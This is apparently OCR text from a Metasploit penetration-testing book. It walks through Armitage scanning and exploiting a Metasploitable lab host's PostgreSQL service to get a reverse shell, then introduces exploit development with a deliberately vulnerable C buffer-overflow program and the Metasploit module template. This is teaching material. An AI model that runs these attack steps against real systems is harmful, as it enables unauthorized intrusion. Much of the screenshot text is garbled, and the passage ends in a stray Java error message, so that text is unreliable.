- @ post

CP OPEN
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As we have seen earlier, Armitage is also well-integrated with NMAP. Now, we'll perform
an NMAP scan on our target to enumerate services and detect the version of the remote
operating system, as shown in the following screenshot. To initiate the NMAP scan, click on
the Hosts ;option, select the NMAP scan, ;and then select the ;Quick Scan (OS Detect)
;option:

Armitage e ® O

Armitage View Hosts Attacks Workspaces Help

> [ auxiliary
» @ exploit
» [ payload
» [ post

Console X | Scan X | Scan X nmap X
- --version-light

Nmap nmap.org ) at 2017-
Mmap: Mmap scan rej 3
Mmap: Host is up (0.00050s latency).
Mmap: Not sho losed ports
Nmap: PO TATE SERVICE
Nmap: 2 open ftp
Nmap open ssh S ebi untul (protocol 2.0)
Nmap: 2 open telnet
Nmap open smtp ostfix smtpd
open domain ISC BIND 9.4.2

open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpchind 2 (RPC #100000)
139/tcp  open -ssn Samba smbd 3.X -
open n Samba smbd 3.X -
open
Mmap: 514/tcp open

(workgroup: WORKGROUP)
(workgroup: WORKGROUP)

4.X
4.X

As soon as the NMAP scan is complete, you'll notice the Linux icon on our target host.
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Find and launch attacks

In the previous sections, we added a host to the Armitage console and performed a port
scan and enumeration on it using NMAP. Now, we know that it's running a Debian-based
Linux system. The next step is to find all possible attacks matching our target host. In order
to fetch all applicable attacks, select the Attacks ;menu and click on Find Attacks. Now, the
Armitage console will query the backend database for all possible matching exploits against
the open ports that we found during enumeration earlier, as shown in the following
screenshot:

Armitage a6

Armitage Wiew Hosts Attacks Workspaces Help

» (5 auxiliary
» (& exploit
» (@ payload
» (& post

Progress...

Querying exploits...
multifhttp/struts_dmi_exec

| cancel
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Once the Armitage console finishes querying for possible exploits, you can see the list of
applicable exploits by right-clicking on the host and selecting the Attack ;menu. In this case,
we'll try to exploit the postgresqgl vulnerability as shown in the following screenshot:

Armitage @ ® O

Armitage Miew Hosts Attacks Workspaces Help

» [iF auxiliary
r [ exploit
* (5 payload
- post

Login
Services
Scgan

http

irc

misc

Host postgres
realserver
samba
smtp
ssh
telnet
wnc

postgres_payload

check exploits. ..

[ Console XT Scan X T Scan X T nmap X

msf > db_nmap --min-hostgroup 96 -sV -n -T4 -0 -
[*] Mmap: Starting Mmap 7.25BETA2 ( https://nmap webapp
[*] Nmap: Mmap scan report for 192.168.44.133 wyse
[*] Mmap: Host is up (0.00050s Llatency). ¥11
[*] MNmap: Not shown: closed ports

Y Y Y Y Y Y Y Y YRAY Y Y Y

[*]1 Nmap: PORT STATE SERVICE VERSION
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Upon selecting the attack type as PostgreSQL for Linux Payload Execution, we are
presented with several exploit options as shown in the following screenshot. We can leave it
as default ;and then click on the Launch ;button:

Armitage o

Armitage View Hosts Attacks Workspaces Help

* (5 awiliary

* [§ exploit

» (& payload

» (& post

Attack 192.168.44.133 (-2
PostgreSQL for Linux Payload Execution
on some default Linux installations of PostgreSQL, the postgres service account may
write to the /tmp directory, and may source UDF Shared Libraries's from there as well,
allowina execution of arbitrarv code, This module combiles a Linux shared obiect file.
Option 4| value
DATABASE templatel
LHOST 1682.168.44.134
LPORT 25389
= | PASSWORD + postgres
[ console %[ scan X |scan X [nmap X | RHOST + 152.168.44.133

RPORT 5432

: Starting Mmap 7.25BET s USERNAMEDS postgres
: Mmap scan report for 19 RE] VERE0SE 0

STATE SERVICE NS Targets: |0 == Linux x86 i)
en ftp vsftpd
H

ssh
telnet T

smtp tfix‘ || show advanced options
domain
http e L
111/tcp e rpch.
/tcp  open  netb. . roup: WORKGROUP)
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As soon as we launched the attack, the exploit was executed. Notice the change in the host
icon, as shown in the following screenshot. The host has been successfully compromised:

o0 0

Armitage
Armitage View Hosts Attacks Workspaces Help

> (i auxliary
* (& exploit
* (i payload
» (i post

Console X | Scan X | Scan X [nmap X [ exploit X Shelll X
i +44, 13 Y

msf exp ( ) = set LHOST 192. 1

> set LPORT

DATABASE templatel
PASSWORD postgres
USERNAME postgres
RPORT 54

VERBOSE false
RHOST 192.168

ex|!1ﬁit -j

]
2ubuntu4)

. i pc-linux-gnu, compiled by
ded as /tmp/tljLEbcg. uld be cleaned up automatically
Command shell session 1 ' 4 -0400
exp
Starting interaction with 1...

192.168.44. 1.
sessions -i 1

Linux metasploitable 4-16-server #1 SMP Thu Apr 10 8 UTC 2008 i686
v

) >
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Now that our host has been compromised, we have got a reverse connection on our system.
We can further interact with it, upload any files and payloads, or use any of the post-
exploitation modules. To do this, simply right-click on the compromised host, select the
Shell 1 ;option, and select the Interact ;option, as shown in the following screenshot:

Armitage e e &
Armitage View Hosts Aftacks Workspaces Help
v (& exploit
sEginwee
> ﬁ Unix
» (B post
e e Attack
192,168 :
Login
Shel L Interact
Services Upload...
Scan Pass Session
Host Post Modules
= Disconnect
[ Console X T Scan X T Scan X T nmap X I exploit X T Shell 1 X]
$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

For interacting with the compromised host, a new tab named "Shell 1" ;opened in the
bottom pane of the Armitage console, as shown in the following screenshot. From here, we
can execute all Linux commands remotely on the compromised target:
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Armitage e 0

Armitage View Hosts Attacks Workspaces Help

» ([ auxiliary
> [ exploit
» (& payload
- @ post

Console X | Scan X | Scan X | nmap X | exploit X | Shelll X

$ uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 1. utc GNU/Linux
$ s
PG_VERSION
base

global
hUwABNvB.d 1l
py_clog
pg_multixact
py_subtrans
pg_thlspc
pg_twophase

/var/lib/postgresql/8.3/main
$ whoami
postgres

Summary

In this chapter, you became familiar with using the Armitage tool for cyber attack
management using Metasploit at the backend. The Armitage tool can definitely come in
handy and save a lot of time while performing penetration tests on multiple targets at a
time. In the next and the concluding chapter, we'll learn about further extending the
Metasploit Framework by adding custom exploits.

Exercises

Try to explore in detail the various features of Armitage, and use it to compromise any of
the target Windows hosts.
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Extending Metasploit and
Exploit Development

In the preceding chapter, you learned how to effectively use Armitage for easily performing
some of the complex penetration testing tasks. In this chapter, we'll have a high-level
overview of exploit development. Exploit development can be quite complex and tedious
and is such a vast topic that an entire book can be written on this. However, in this chapter,
we'll try to get a gist of what exploit development is, why it is required, and how the
Metasploit Framework helps us develop exploit. The topics to be covered in this chapter are
as follows:

¢ Exploit development concepts
¢ Adding external exploits to Metasploit
¢ Introduction to Metasploit exploit templates and mixins

Exploit development concepts

Exploits can be of many different types. They can be classified based on various parameters
such as platforms, architecture, and purpose served. Whenever any given vulnerability is
discovered, there are either of three following possibilities:

¢ An exploit code already exists

e Partial exploit code exists that needs some modification to execute malicious
payload

¢ No exploit code exists, and there's a need to develop new exploit code from
scratch
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The first two cases look quite easy as the exploit code exists and may need some minor
tweaks to get it executed. However, the third case, wherein a vulnerability has just been
discovered and no exploit code exists, is the real challenge. In such a case, you might need
to perform some of the following tasks:

¢ Gather basic information, such as the platform and architecture the vulnerability
is supported on

o Get all possible details about how the vulnerability can be exploited and what the
possible attack vectors are

¢ Use techniques such as fuzzing to specifically pinpoint the vulnerable code and
parameters

e Write a pseudo code or prototype to test whether the exploit is working for real
e Write the complete code with all required parameters and values
e Publish the code for the community and convert it into a Metasploit module

All these activities are quite intense and require a lot of research and patience. The exploit
code is parameter sensitive; for example, in the case of a buffer overflow exploit, the return
address is the key to run the exploit successfully. Even if one of the bits in the return
address is mentioned incorrectly, the entire exploit would fail.

What is a buffer overflow?

Buffer overflow is one of the most commonly found vulnerabilities in various applications
and system components. A successful buffer overflow exploit may allow remote arbitrary
code execution leading, to elevated privileges.

A buffer overflow condition occurs when a program tries to insert more data in a buffer
than it can accommodate, or when a program attempts to insert data into a memory area
past a buffer. In this case, a buffer is nothing but a sequential section of memory allocated to
hold anything from a character string to an array of integers. Attempting to write outside
the bounds of a block of the allocated memory can cause data corruption, crash the
program, or even lead to the execution of malicious code. ;Let's consider the following code:

7

#include <stdio.h>

void AdminFunction ()
{
printf ("Congratulations!\n");
printf ("You have entered in the Admin function!\n");
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void echo ()

{
char buffer[25];

printf ("Enter any text:\n");
scanf ("%s", buffer);
printf ("You entered: %$s\n", buffer);

int main ()
echo () ;

return 0;

}

The preceding code is vulnerable to buffer overflow. If you carefully notice, the buffer size
has been set to 25 characters. However, what if the user enters data more than 25
characters? The buffer will simply overflow and the program execution will end abruptly.

What are fuzzers?

In the preceding example, we had access to the source code, and we knew that the variable
buffer can hold a maximum of 25 characters. So, in order to cause a buffer overflow, we can
send 30, 40, or 50 characters as input. However, it's not always possible to have access to the
source code of any given application. So, for an application whose source code isn't
available, how would you determine what length of input should be sent to a particular
parameter so that the buffer gets overflowed? This is where fuzzers come to the rescue.
Fuzzers are small programs that send random inputs of various lengths to specified
parameters within the target application and inform us the exact length of the input that
caused the overflow and crash of the application.

Did you know? Metasploit has fuzzers for fuzzing various protocols.
These fuzzers are a part of auxiliary modules within the Metasploit
Framework and can be found in the auxiliary/fuzzers/.
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Exploit templates and mixins

Let's consider that you have written an exploit code for a new zero-day vulnerability. Now,
to include the exploit code officially into the Metasploit Framework, it has to be in a
particular format. Fortunately, you just need to concentrate on the actual exploit code, and
then simply use a template (provided by the Metasploit Framework) to insert it in the
required format. The Metasploit Framework offers an exploit module skeleton, as shown in
the following code:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

##
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

def initialize (info={})
super (update_info (info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability
typel",
'Description' => %qgq
Say something that the user might need to know
}I

'License' => MSF_LICENSE,
'"Author' => [ "Name' ],
'References' =>

[

[ "URL', '' ]

J 14
'Platform' => 'win',
'Targets' =>

[

[ 'System or software version',

{
'Ret' => 0x42424242 # This will be available in “target.ret’

]
JI
'Payload’ =>
{
'BadChars' => "\x00\x00"
}I
'Privileged’ => true,
'DisclosureDate' => "",
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'DefaultTarget' => 1))
end
def check
# For the check command
end

def exploit
# Main function
end

end
Now, let's try to understand the various fields in the preceding exploit skeleton:

¢ The Name field: This begins with the name of the vendor, followed by the
software. The Root Cause field points to the component or function in which the
bug is found and finally, the type of vulnerability the module is exploiting.

The Description field: This field elaborates what the module does, things to
watch out for, and any specific requirements. The aim is to let the user get a clear
understanding of what he's using without the need to actually go through the
module's source.

The Author field: This is where you insert your name. The format should be
Name. In case you want to insert your Twitter handle as well, simply leave it as a
comment, for example, Name #Twitterhandle.

The References field: This is an array of references related to the vulnerability or
the exploit, for example, an advisory, a blog post, and much more. For more
details on reference identifiers, visit https://github.com/rapid7/metasploit—
framework/wiki/Metasploit-module-reference-identifiers

The Platform field: This field indicates all platforms the exploit code will be
supported on, for example, Windows, Linux, BSD, and Unix.

The Targets field: This is an array of systems, applications, setups, or specific
versions your exploit is targeting. The second element or each target array is
where you store specific metadata of the target, for example, a specific offset, a
gadget, a ret address, and much more. When a target is selected by the user, the
metadata is loaded and tracked by a target index, and can be retrieved using
the target method.

The Payloads field: This field specifies how the payload should be encoded and
generated. You can specify Space, SaveRegisters, Prepend, PrependEncoder,
BadChars, Append, AppendEncoder, MaxNops, MinNops, Encoder, Nop,
EncoderType, EncoderOptions, ExtendedOptions, and EncoderDontFallThrough.
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¢ The DisclosureDate field: ;This field specifies when the vulnerability was
disclosed in public, in the format of M D Y, ;for example, "Jun 29, 2017."

Your exploit code should also include a check method to support the check command, but
this is optional in case it's not possible. The check command will probe the target for the
feasibility of the exploit.

And finally, the exploit method is like your main method. Start writing your code there.

What are Metasploit mixins?

If you are familiar with programming languages such as C and Java, you must have come
across terms such as functions and classes. Functions in C and classes in Java basically allow
code reuse. This makes the program more efficient. The Metasploit Framework is written in
the Ruby language. So, from the perspective of the Ruby language, a mixin is nothing but a
simple module that is included in a class. This will enable the class to have access to all
methods of this module.

So, without going into much details about programming, you can simply remember that
mixins help in modular programming; for instance, you may want to perform some TCP
operations, such as connecting to a remote port and fetching some data. Now, to perform
this task, you might have to write quite a lot of code altogether. However, if you make use
of the already available TCP mixin, you will end up saving the efforts of writing the entire
code from scratch! You will simply include the TCP mixin and call the appropriate
functions as required. So, you need not reinvent the wheel and can save a lot of time and
effort using the mixin.

You can view the various mixins available in the Metasploit Framework by browsing the
/lib/msf/core/exploit directory, as shown in the following screenshot:

root@kali: /usr/share/metasploit-framework/lib/msf/core/exploit [ - - )

File Edit View Search Terminal Help
:/usr/share/metasploit-framework;/ m<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>